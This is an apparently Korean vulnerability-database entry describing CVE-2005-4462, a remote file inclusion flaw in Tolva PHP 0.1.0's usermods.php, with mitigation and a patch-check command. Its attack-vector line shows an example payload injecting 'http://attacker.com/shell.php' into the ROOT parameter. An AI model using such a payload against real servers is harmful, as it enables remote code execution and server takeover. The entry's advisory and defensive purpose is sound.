🔍 CVE-2005-4462

7.5
CVSS Score
HIGH
2005-12-21
2026-04-16 00:27
✅ 완료

🇰🇷 한글 설명

Tolva PHP 웹사이트 시스템 0.1.0의 usermods.php 파일에서 발견된 PHP 원격 파일 포함(RFI) 취약점입니다. ROOT 파라미터를 통해 공격자가 악의적인 URL을 주입하여 원격에서 임의의 PHP 코드를 실행할 수 있습니다.

💡 쉬운 설명

웹사이트가 외부 파일을 불러올 때 사용자 입력을 검증하지 않아서, 해커가 자신의 악성 파일을 실행시킬 수 있습니다. 이를 통해 웹 서버를 완전히 장악당할 수 있습니다.

🇺🇸 원문 (English)

PHP remote file include vulnerability in usermods.php in Tolva PHP website system 0.1.0 allows remote attackers to execute arbitrary code via a URL in the ROOT parameter.

📍 영향받는 시스템

Tolva PHP website system 0.1.0 (usermods.php)

⚔️ 공격 벡터

GET/POST 요청의 ROOT 파라미터에 원격 파일 URL 주입하여 코드 실행 (예: ?ROOT=http://attacker.com/shell.php)

🛡️ 대응 방법

Tolva PHP 최신 버전으로 업그레이드 또는 php.ini에서 allow_url_include=Off 설정 후 입력값 검증 추가

🔧 검증 코드

allow_url_include가 Off이고 usermods.php 접근이 차단되면(403/404 응답) 패치 완료

Shell / Script 
php -i 2>/dev/null | grep -i 'allow_url_include' && curl -s 'http://target/usermods.php?ROOT=http://test' -o /dev/null -w '%{http_code}'

📊 CVSS Vector String

CVSS Vector 
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP